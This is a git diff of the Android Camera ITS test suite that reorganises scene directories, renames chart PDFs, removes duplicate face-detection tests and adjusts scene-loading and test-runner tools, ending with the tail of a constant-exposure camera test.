+    print 'Channel %d line fit (y = mx+b): m = %f, b = %f' % (chan, m, b)
+    print 'Channel max %f min %f diff %f' % (max_val, min_val, max_diff)
+    e_msg = 'max_diff: %.4f, THRESH: %.3f' % (
+            max_diff, thresh_max_level_diff)
+    assert max_diff < thresh_max_level_diff, e_msg
+    e_msg = 'b: %.2f, THRESH_MIN: %.1f, THRESH_MAX: %.1f' % (
+            b, THRESHOLD_MIN_LEVEL, THRESHOLD_MAX_LEVEL)
+    assert THRESHOLD_MAX_LEVEL > b > THRESHOLD_MIN_LEVEL, e_msg
+    for v in values:
+        e_msg = 'v: %.2f, THRESH_MIN: %.1f, THRESH_MAX: %.1f' % (
+                v, THRESHOLD_MIN_LEVEL, THRESHOLD_MAX_LEVEL)
+        assert THRESHOLD_MAX_LEVEL > v > THRESHOLD_MIN_LEVEL, e_msg
+        e_msg = 'v: %.2f, b: %.2f, THRESH_MAX_OUTLIER_DIFF: %.1f' % (
+                v, b, THRESHOLD_MAX_OUTLIER_DIFF)
+        assert abs(v - b) < THRESHOLD_MAX_OUTLIER_DIFF, e_msg
+
+
+def get_raw_active_array_size(props):
+    """Return the active array w, h from props."""
+    aaw = (props['android.sensor.info.preCorrectionActiveArraySize']['right'] -
+           props['android.sensor.info.preCorrectionActiveArraySize']['left'])
+    aah = (props['android.sensor.info.preCorrectionActiveArraySize']['bottom'] -
+           props['android.sensor.info.preCorrectionActiveArraySize']['top'])
+    return aaw, aah
+
+
+def main():
+    """Test that a constant exposure is seen as ISO and exposure time vary.
+
+    Take a series of shots that have ISO and exposure time chosen to balance
+    each other; result should be the same brightness, but over the sequence
+    the images should get noisier.
+    """
+    mults = []
+    r_means = []
+    g_means = []
+    b_means = []
+    raw_r_means = []
+    raw_gr_means = []
+    raw_gb_means = []
+    raw_b_means = []
+    threshold_max_level_diff = THRESHOLD_MAX_LEVEL_DIFF
+
+    with its.device.ItsSession() as cam:
+        props = cam.get_camera_properties()
+        props = cam.override_with_hidden_physical_camera_props(props)
+        its.caps.skip_unless(its.caps.compute_target_exposure(props))
+        sync_latency = its.caps.sync_latency(props)
+        process_raw = its.caps.raw16(props) and its.caps.manual_sensor(props)
+        debug = its.caps.debug_mode()
+        largest_yuv = its.objects.get_largest_yuv_format(props)
+        if debug:
+            fmt = largest_yuv
+        else:
+            match_ar = (largest_yuv['width'], largest_yuv['height'])
+            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
+
+        e, s = its.target.get_target_exposure_combos(cam)['minSensitivity']
+        s_e_product = s*e
+        expt_range = props['android.sensor.info.exposureTimeRange']
+        sens_range = props['android.sensor.info.sensitivityRange']
+
+        m = 1.0
+        while s*m < sens_range[1] and e/m > expt_range[0]:
+            mults.append(m)
+            s_test = round(s*m)
+            e_test = s_e_product / s_test
+            print 'Testing s:', s_test, 'e:', e_test
+            req = its.objects.manual_capture_request(
+                    s_test, e_test, 0.0, True, props)
+            cap = its.device.do_capture_with_latency(
+                    cam, req, sync_latency, fmt)
+            s_res = cap['metadata']['android.sensor.sensitivity']
+            e_res = cap['metadata']['android.sensor.exposureTime']
+            # determine exposure tolerance based on exposure time
+            if e_test >= THRESH_EXP_KNEE:
+                thresh_round_down_exp = THRESH_ROUND_DOWN_EXP
+            else:
+                thresh_round_down_exp = (
+                        THRESH_ROUND_DOWN_EXP +
+                        (THRESH_ROUND_DOWN_EXP0 - THRESH_ROUND_DOWN_EXP) *
+                        (THRESH_EXP_KNEE - e_test) / THRESH_EXP_KNEE)
+            s_msg = 's_write: %d, s_read: %d, TOL=%.f%%' % (
+                    s_test, s_res, THRESH_ROUND_DOWN_GAIN*100)
+            e_msg = 'e_write: %.3fms, e_read: %.3fms, TOL=%.f%%' % (
+                    e_test/1.0E6, e_res/1.0E6, thresh_round_down_exp*100)
+            assert 0 <= s_test - s_res < s_test * THRESH_ROUND_DOWN_GAIN, s_msg
+            assert 0 <= e_test - e_res < e_test * thresh_round_down_exp, e_msg
+            s_e_product_res = s_res * e_res
+            request_result_ratio = float(s_e_product) / s_e_product_res
+            print 'Capture result s:', s_res, 'e:', e_res
+            img = its.image.convert_capture_to_rgb_image(cap)
+            its.image.write_image(img, '%s_mult=%3.2f.jpg' % (NAME, m))
+            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
+            rgb_means = its.image.compute_image_means(tile)
+            # Adjust for the difference between request and result
+            r_means.append(rgb_means[0] * request_result_ratio)
+            g_means.append(rgb_means[1] * request_result_ratio)
+            b_means.append(rgb_means[2] * request_result_ratio)
+            # do same in RAW space if possible
+            if process_raw and debug:
+                aaw, aah = get_raw_active_array_size(props)
+                fmt_raw = {'format': 'rawStats',
+                           'gridWidth': aaw/IMG_STATS_GRID,
+                           'gridHeight': aah/IMG_STATS_GRID}
+                raw_cap = its.device.do_capture_with_latency(
+                        cam, req, sync_latency, fmt_raw)
+                r, gr, gb, b = its.image.convert_capture_to_planes(
+                        raw_cap, props)
+                raw_r_means.append(r[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
+                                   * request_result_ratio)
+                raw_gr_means.append(gr[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
+                                    * request_result_ratio)
+                raw_gb_means.append(gb[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
+                                    * request_result_ratio)
+                raw_b_means.append(b[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
+                                   * request_result_ratio)
+            # Test 3 steps per 2x gain
+            m *= pow(2, 1.0 / NUM_PTS_2X_GAIN)
+
+        # Allow more threshold for devices with wider exposure range
+        if m >= 64.0:
+            threshold_max_level_diff = THRESHOLD_MAX_LEVEL_DIFF_WIDE_RANGE
+
+    # Draw plots
+    pylab.figure('rgb data')
+    pylab.semilogx(mults, r_means, 'ro-')
+    pylab.semilogx(mults, g_means, 'go-')
+    pylab.semilogx(mults, b_means, 'bo-')
+    pylab.title(NAME + 'RGB Data')
+    pylab.xlabel('Gain Multiplier')
+    pylab.ylabel('Normalized RGB Plane Avg')
+    pylab.minorticks_off()
+    pylab.xticks(mults[0::NUM_PTS_2X_GAIN], mults[0::NUM_PTS_2X_GAIN])
+    pylab.ylim([0, 1])
+    matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
+
+    if process_raw and debug:
+        pylab.figure('raw data')
+        pylab.semilogx(mults, raw_r_means, 'ro-', label='R')
+        pylab.semilogx(mults, raw_gr_means, 'go-', label='GR')
+        pylab.semilogx(mults, raw_gb_means, 'ko-', label='GB')
+        pylab.semilogx(mults, raw_b_means, 'bo-', label='B')
+        pylab.title(NAME + 'RAW Data')
+        pylab.xlabel('Gain Multiplier')
+        pylab.ylabel('Normalized RAW Plane Avg')
+        pylab.minorticks_off()
+        pylab.xticks(mults[0::NUM_PTS_2X_GAIN], mults[0::NUM_PTS_2X_GAIN])
+        pylab.ylim([0, 1])
+        pylab.legend(numpoints=1)
+        matplotlib.pyplot.savefig('%s_plot_raw_means.png' % (NAME))
+
+    for chan in xrange(3):
+        values = [r_means, g_means, b_means][chan]
+        find_fit_and_check(chan, mults, values, threshold_max_level_diff)
+    if process_raw and debug:
+        for chan in xrange(4):
+            values = [raw_r_means, raw_gr_means, raw_gb_means,
+                      raw_b_means][chan]
+            find_fit_and_check(chan, mults, values, threshold_max_level_diff)
+
+if __name__ == '__main__':
+    main()
diff --git a/apps/CameraITS/tests/scene1/test_jpeg.py b/apps/CameraITS/tests/scene1_1/test_jpeg.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_jpeg.py
rename to apps/CameraITS/tests/scene1_1/test_jpeg.py
diff --git a/apps/CameraITS/tests/scene1/test_latching.py b/apps/CameraITS/tests/scene1_1/test_latching.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_latching.py
rename to apps/CameraITS/tests/scene1_1/test_latching.py
diff --git a/apps/CameraITS/tests/scene1/test_linearity.py b/apps/CameraITS/tests/scene1_1/test_linearity.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_linearity.py
rename to apps/CameraITS/tests/scene1_1/test_linearity.py
diff --git a/apps/CameraITS/tests/scene1/test_locked_burst.py b/apps/CameraITS/tests/scene1_1/test_locked_burst.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_locked_burst.py
rename to apps/CameraITS/tests/scene1_1/test_locked_burst.py
diff --git a/apps/CameraITS/tests/scene1/test_multi_camera_match.py b/apps/CameraITS/tests/scene1_1/test_multi_camera_match.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_multi_camera_match.py
rename to apps/CameraITS/tests/scene1_1/test_multi_camera_match.py
diff --git a/apps/CameraITS/tests/scene1/test_param_color_correction.py b/apps/CameraITS/tests/scene1_1/test_param_color_correction.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_color_correction.py
rename to apps/CameraITS/tests/scene1_1/test_param_color_correction.py
diff --git a/apps/CameraITS/tests/scene1/test_param_exposure_time.py b/apps/CameraITS/tests/scene1_1/test_param_exposure_time.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_exposure_time.py
rename to apps/CameraITS/tests/scene1_1/test_param_exposure_time.py
diff --git a/apps/CameraITS/tests/scene1/test_param_flash_mode.py b/apps/CameraITS/tests/scene1_1/test_param_flash_mode.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_flash_mode.py
rename to apps/CameraITS/tests/scene1_1/test_param_flash_mode.py
diff --git a/apps/CameraITS/tests/scene1/test_param_noise_reduction.py b/apps/CameraITS/tests/scene1_1/test_param_noise_reduction.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_noise_reduction.py
rename to apps/CameraITS/tests/scene1_1/test_param_noise_reduction.py
diff --git a/apps/CameraITS/tests/scene1/scene1.pdf b/apps/CameraITS/tests/scene1_2/scene1_2.pdf
similarity index 100%
copy from apps/CameraITS/tests/scene1/scene1.pdf
copy to apps/CameraITS/tests/scene1_2/scene1_2.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1/scene1_0.5_scaled.pdf b/apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.pdf
similarity index 100%
copy from apps/CameraITS/tests/scene1/scene1_0.5_scaled.pdf
copy to apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1/scene1_0.67_scaled.pdf b/apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.pdf
similarity index 100%
copy from apps/CameraITS/tests/scene1/scene1_0.67_scaled.pdf
copy to apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1/test_param_sensitivity.py b/apps/CameraITS/tests/scene1_2/test_param_sensitivity.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_sensitivity.py
rename to apps/CameraITS/tests/scene1_2/test_param_sensitivity.py
diff --git a/apps/CameraITS/tests/scene1/test_param_shading_mode.py b/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_shading_mode.py
rename to apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
diff --git a/apps/CameraITS/tests/scene1/test_param_tonemap_mode.py b/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_tonemap_mode.py
rename to apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
diff --git a/apps/CameraITS/tests/scene1/test_post_raw_sensitivity_boost.py b/apps/CameraITS/tests/scene1_2/test_post_raw_sensitivity_boost.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_post_raw_sensitivity_boost.py
rename to apps/CameraITS/tests/scene1_2/test_post_raw_sensitivity_boost.py
diff --git a/apps/CameraITS/tests/scene1/test_raw_burst_sensitivity.py b/apps/CameraITS/tests/scene1_2/test_raw_burst_sensitivity.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_raw_burst_sensitivity.py
rename to apps/CameraITS/tests/scene1_2/test_raw_burst_sensitivity.py
diff --git a/apps/CameraITS/tests/scene1/test_raw_exposure.py b/apps/CameraITS/tests/scene1_2/test_raw_exposure.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_raw_exposure.py
rename to apps/CameraITS/tests/scene1_2/test_raw_exposure.py
diff --git a/apps/CameraITS/tests/scene1/test_raw_sensitivity.py b/apps/CameraITS/tests/scene1_2/test_raw_sensitivity.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_raw_sensitivity.py
rename to apps/CameraITS/tests/scene1_2/test_raw_sensitivity.py
diff --git a/apps/CameraITS/tests/scene1/test_reprocess_noise_reduction.py b/apps/CameraITS/tests/scene1_2/test_reprocess_noise_reduction.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_reprocess_noise_reduction.py
rename to apps/CameraITS/tests/scene1_2/test_reprocess_noise_reduction.py
diff --git a/apps/CameraITS/tests/scene1/test_tonemap_sequence.py b/apps/CameraITS/tests/scene1_2/test_tonemap_sequence.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_tonemap_sequence.py
rename to apps/CameraITS/tests/scene1_2/test_tonemap_sequence.py
diff --git a/apps/CameraITS/tests/scene1/test_yuv_jpeg_all.py b/apps/CameraITS/tests/scene1_2/test_yuv_jpeg_all.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_yuv_jpeg_all.py
rename to apps/CameraITS/tests/scene1_2/test_yuv_jpeg_all.py
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_dng.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_dng.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_yuv_plus_dng.py
rename to apps/CameraITS/tests/scene1_2/test_yuv_plus_dng.py
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_jpeg.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_jpeg.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_yuv_plus_jpeg.py
rename to apps/CameraITS/tests/scene1_2/test_yuv_plus_jpeg.py
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
rename to apps/CameraITS/tests/scene1_2/test_yuv_plus_raw.py
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw10.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
rename to apps/CameraITS/tests/scene1_2/test_yuv_plus_raw10.py
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw12.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw12.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_yuv_plus_raw12.py
rename to apps/CameraITS/tests/scene1_2/test_yuv_plus_raw12.py
diff --git a/apps/CameraITS/tests/scene2/SampleTarget.jpg b/apps/CameraITS/tests/scene2_a/SampleTarget.jpg
similarity index 100%
rename from apps/CameraITS/tests/scene2/SampleTarget.jpg
rename to apps/CameraITS/tests/scene2_a/SampleTarget.jpg
Binary files differ
diff --git a/apps/CameraITS/tests/scene2/scene2.pdf b/apps/CameraITS/tests/scene2_a/scene2_a.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2/scene2.pdf
rename to apps/CameraITS/tests/scene2_a/scene2_a.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2/scene2_0.5_scaled.pdf b/apps/CameraITS/tests/scene2_a/scene2_a_0.5x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2/scene2_0.5_scaled.pdf
rename to apps/CameraITS/tests/scene2_a/scene2_a_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2/scene2_0.67_scaled.pdf b/apps/CameraITS/tests/scene2_a/scene2_a_0.67x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2/scene2_0.67_scaled.pdf
rename to apps/CameraITS/tests/scene2_a/scene2_a_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2/test_auto_per_frame_control.py b/apps/CameraITS/tests/scene2_a/test_auto_per_frame_control.py
similarity index 100%
rename from apps/CameraITS/tests/scene2/test_auto_per_frame_control.py
rename to apps/CameraITS/tests/scene2_a/test_auto_per_frame_control.py
diff --git a/apps/CameraITS/tests/scene2/test_effects.py b/apps/CameraITS/tests/scene2_a/test_effects.py
similarity index 100%
rename from apps/CameraITS/tests/scene2/test_effects.py
rename to apps/CameraITS/tests/scene2_a/test_effects.py
diff --git a/apps/CameraITS/tests/scene2/test_faces.py b/apps/CameraITS/tests/scene2_a/test_faces.py
similarity index 100%
rename from apps/CameraITS/tests/scene2/test_faces.py
rename to apps/CameraITS/tests/scene2_a/test_faces.py
diff --git a/apps/CameraITS/tests/scene2/test_format_combos.py b/apps/CameraITS/tests/scene2_a/test_format_combos.py
similarity index 100%
rename from apps/CameraITS/tests/scene2/test_format_combos.py
rename to apps/CameraITS/tests/scene2_a/test_format_combos.py
diff --git a/apps/CameraITS/tests/scene2/test_num_faces.py b/apps/CameraITS/tests/scene2_a/test_num_faces.py
similarity index 100%
rename from apps/CameraITS/tests/scene2/test_num_faces.py
rename to apps/CameraITS/tests/scene2_a/test_num_faces.py
diff --git a/apps/CameraITS/tests/scene2b/scene2b.pdf b/apps/CameraITS/tests/scene2_b/scene2_b.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2b/scene2b.pdf
rename to apps/CameraITS/tests/scene2_b/scene2_b.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2b/scene2b_0.5_scaled.pdf b/apps/CameraITS/tests/scene2_b/scene2_b_0.5x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2b/scene2b_0.5_scaled.pdf
rename to apps/CameraITS/tests/scene2_b/scene2_b_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2b/scene2b_0.67_scaled.pdf b/apps/CameraITS/tests/scene2_b/scene2_b_0.67x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2b/scene2b_0.67_scaled.pdf
rename to apps/CameraITS/tests/scene2_b/scene2_b_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2c/scene2c.pdf b/apps/CameraITS/tests/scene2_c/scene2_c.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2c/scene2c.pdf
rename to apps/CameraITS/tests/scene2_c/scene2_c.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2c/scene2c_0.5_scaled.pdf b/apps/CameraITS/tests/scene2_c/scene2_c_0.5x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2c/scene2c_0.5_scaled.pdf
rename to apps/CameraITS/tests/scene2_c/scene2_c_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2c/scene2c_0.67_scaled.pdf b/apps/CameraITS/tests/scene2_c/scene2_c_0.67x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2c/scene2c_0.67_scaled.pdf
rename to apps/CameraITS/tests/scene2_c/scene2_c_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2b/test_num_faces.py b/apps/CameraITS/tests/scene2b/test_num_faces.py
deleted file mode 100644
index 044c154..0000000
--- a/apps/CameraITS/tests/scene2b/test_num_faces.py
+++ /dev/null
@@ -1,100 +0,0 @@
-# Copyright 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import os.path
-import cv2
-import its.caps
-import its.device
-import its.image
-import its.objects
-
-NAME = os.path.basename(__file__).split('.')[0]
-NUM_TEST_FRAMES = 20
-NUM_FACES = 3
-FD_MODE_OFF = 0
-FD_MODE_SIMPLE = 1
-FD_MODE_FULL = 2
-W, H = 640, 480
-
-
-def main():
-    """Test face detection."""
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.face_detect(props))
-        mono_camera = its.caps.mono_camera(props)
-        fd_modes = props['android.statistics.info.availableFaceDetectModes']
-        a = props['android.sensor.info.activeArraySize']
-        aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
-
-        if its.caps.read_3a(props):
-            _, _, _, _, _ = cam.do_3a(get_results=True,
-                                      mono_camera=mono_camera)
-
-        for fd_mode in fd_modes:
-            assert FD_MODE_OFF <= fd_mode <= FD_MODE_FULL
-            req = its.objects.auto_capture_request()
-            req['android.statistics.faceDetectMode'] = fd_mode
-            fmt = {'format': 'yuv', 'width': W, 'height': H}
-            caps = cam.do_capture([req]*NUM_TEST_FRAMES, fmt)
-            for i, cap in enumerate(caps):
-                md = cap['metadata']
-                assert md['android.statistics.faceDetectMode'] == fd_mode
-                faces = md['android.statistics.faces']
-
-                # 0 faces should be returned for OFF mode
-                if fd_mode == FD_MODE_OFF:
-                    assert not faces
-                    continue
-                # Face detection could take several frames to warm up,
-                # but should detect the correct number of faces in last frame
-                if i == NUM_TEST_FRAMES - 1:
-                    img = its.image.convert_capture_to_rgb_image(cap,
-                                                                 props=props)
-                    fnd_faces = len(faces)
-                    print 'Found %d face(s), expected %d.' % (fnd_faces,
-                                                              NUM_FACES)
-                    # draw boxes around faces
-                    for rect in [face['bounds'] for face in faces]:
-                        top_left = (int(round(rect['left']*W/aw)),
-                                    int(round(rect['top']*H/ah)))
-                        bot_rght = (int(round(rect['right']*W/aw)),
-                                    int(round(rect['bottom']*H/ah)))
-                        cv2.rectangle(img, top_left, bot_rght, (0, 1, 0), 2)
-                        img_name = '%s_fd_mode_%s.jpg' % (NAME, fd_mode)
-                        its.image.write_image(img, img_name)
-                    assert fnd_faces == NUM_FACES
-                if not faces:
-                    continue
-
-                print 'Frame %d face metadata:' % i
-                print '  Faces:', faces
-                print ''
-
-                # Reasonable scores for faces
-                face_scores = [face['score'] for face in faces]
-                for score in face_scores:
-                    assert score >= 1 and score <= 100
-                # Face bounds should be within active array
-                face_rectangles = [face['bounds'] for face in faces]
-                for rect in face_rectangles:
-                    assert rect['top'] < rect['bottom']
-                    assert rect['left'] < rect['right']
-                    assert 0 <= rect['top'] <= ah
-                    assert 0 <= rect['bottom'] <= ah
-                    assert 0 <= rect['left'] <= aw
-                    assert 0 <= rect['right'] <= aw
-
-if __name__ == '__main__':
-    main()
diff --git a/apps/CameraITS/tests/scene2c/test_num_faces.py b/apps/CameraITS/tests/scene2c/test_num_faces.py
deleted file mode 100644
index 044c154..0000000
--- a/apps/CameraITS/tests/scene2c/test_num_faces.py
+++ /dev/null
@@ -1,100 +0,0 @@
-# Copyright 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import os.path
-import cv2
-import its.caps
-import its.device
-import its.image
-import its.objects
-
-NAME = os.path.basename(__file__).split('.')[0]
-NUM_TEST_FRAMES = 20
-NUM_FACES = 3
-FD_MODE_OFF = 0
-FD_MODE_SIMPLE = 1
-FD_MODE_FULL = 2
-W, H = 640, 480
-
-
-def main():
-    """Test face detection."""
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.face_detect(props))
-        mono_camera = its.caps.mono_camera(props)
-        fd_modes = props['android.statistics.info.availableFaceDetectModes']
-        a = props['android.sensor.info.activeArraySize']
-        aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
-
-        if its.caps.read_3a(props):
-            _, _, _, _, _ = cam.do_3a(get_results=True,
-                                      mono_camera=mono_camera)
-
-        for fd_mode in fd_modes:
-            assert FD_MODE_OFF <= fd_mode <= FD_MODE_FULL
-            req = its.objects.auto_capture_request()
-            req['android.statistics.faceDetectMode'] = fd_mode
-            fmt = {'format': 'yuv', 'width': W, 'height': H}
-            caps = cam.do_capture([req]*NUM_TEST_FRAMES, fmt)
-            for i, cap in enumerate(caps):
-                md = cap['metadata']
-                assert md['android.statistics.faceDetectMode'] == fd_mode
-                faces = md['android.statistics.faces']
-
-                # 0 faces should be returned for OFF mode
-                if fd_mode == FD_MODE_OFF:
-                    assert not faces
-                    continue
-                # Face detection could take several frames to warm up,
-                # but should detect the correct number of faces in last frame
-                if i == NUM_TEST_FRAMES - 1:
-                    img = its.image.convert_capture_to_rgb_image(cap,
-                                                                 props=props)
-                    fnd_faces = len(faces)
-                    print 'Found %d face(s), expected %d.' % (fnd_faces,
-                                                              NUM_FACES)
-                    # draw boxes around faces
-                    for rect in [face['bounds'] for face in faces]:
-                        top_left = (int(round(rect['left']*W/aw)),
-                                    int(round(rect['top']*H/ah)))
-                        bot_rght = (int(round(rect['right']*W/aw)),
-                                    int(round(rect['bottom']*H/ah)))
-                        cv2.rectangle(img, top_left, bot_rght, (0, 1, 0), 2)
-                        img_name = '%s_fd_mode_%s.jpg' % (NAME, fd_mode)
-                        its.image.write_image(img, img_name)
-                    assert fnd_faces == NUM_FACES
-                if not faces:
-                    continue
-
-                print 'Frame %d face metadata:' % i
-                print '  Faces:', faces
-                print ''
-
-                # Reasonable scores for faces
-                face_scores = [face['score'] for face in faces]
-                for score in face_scores:
-                    assert score >= 1 and score <= 100
-                # Face bounds should be within active array
-                face_rectangles = [face['bounds'] for face in faces]
-                for rect in face_rectangles:
-                    assert rect['top'] < rect['bottom']
-                    assert rect['left'] < rect['right']
-                    assert 0 <= rect['top'] <= ah
-                    assert 0 <= rect['bottom'] <= ah
-                    assert 0 <= rect['left'] <= aw
-                    assert 0 <= rect['right'] <= aw
-
-if __name__ == '__main__':
-    main()
diff --git a/apps/CameraITS/tests/scene3/scene3_0.5_scaled.pdf b/apps/CameraITS/tests/scene3/scene3_0.5x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene3/scene3_0.5_scaled.pdf
rename to apps/CameraITS/tests/scene3/scene3_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene3/scene3_0.67_scaled.pdf b/apps/CameraITS/tests/scene3/scene3_0.67x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene3/scene3_0.67_scaled.pdf
rename to apps/CameraITS/tests/scene3/scene3_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene4/scene4_0.5_scaled.pdf b/apps/CameraITS/tests/scene4/scene4_0.5x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene4/scene4_0.5_scaled.pdf
rename to apps/CameraITS/tests/scene4/scene4_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene4/scene4_0.67_scaled.pdf b/apps/CameraITS/tests/scene4/scene4_0.67x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene4/scene4_0.67_scaled.pdf
rename to apps/CameraITS/tests/scene4/scene4_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tools/load_scene.py b/apps/CameraITS/tools/load_scene.py
index e25a3f5..97b6ead 100644
--- a/apps/CameraITS/tools/load_scene.py
+++ b/apps/CameraITS/tools/load_scene.py
@@ -21,6 +21,8 @@
 import its.cv2image
 import numpy as np
 
+LOAD_SCENE_DELAY = 2  # seconds
+
 
 def main():
     """Load charts on device and display."""
@@ -51,10 +53,10 @@
     dst_scene_file = '/sdcard/Download/%s.pdf' % scene
     chart_scaling = its.cv2image.calc_chart_scaling(chart_distance, camera_fov)
     if np.isclose(chart_scaling, its.cv2image.SCALE_TELE_IN_WFOV_BOX, atol=0.01):
-        file_name = '%s_%s_scaled.pdf' % (
+        file_name = '%s_%sx_scaled.pdf' % (
                 scene, str(its.cv2image.SCALE_TELE_IN_WFOV_BOX))
     elif np.isclose(chart_scaling, its.cv2image.SCALE_RFOV_IN_WFOV_BOX, atol=0.01):
-        file_name = '%s_%s_scaled.pdf' % (
+        file_name = '%s_%sx_scaled.pdf' % (
                 scene, str(its.cv2image.SCALE_RFOV_IN_WFOV_BOX))
     else:
         file_name = '%s.pdf' % scene
@@ -63,7 +65,7 @@
     cmd = 'adb -s %s push %s /mnt%s' % (screen_id, src_scene_file,
                                         dst_scene_file)
     subprocess.Popen(cmd.split())
-    time.sleep(1)  # wait-for-device doesn't always seem to work...
+    time.sleep(LOAD_SCENE_DELAY)  # wait-for-device doesn't always seem to work
     # The intent require PDF viewing app be installed on device.
     # Also the first time such app is opened it might request some permission,
     # so it's  better to grant those permissions before using this script
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index c2f4fef..660d95a 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -29,8 +29,6 @@
 from its.device import ItsSession
 import its.image
 
-import numpy as np
-
 # For sanity checking the installed APK's target SDK version
 MIN_SUPPORTED_SDK_VERSION = 28  # P
 
@@ -42,6 +40,7 @@
 CHART_SCALE_STOP = 1.35
 CHART_SCALE_STEP = 0.025
 FACING_EXTERNAL = 2
+NOT_YET_MANDATED_ALL = 100
 NUM_TRYS = 2
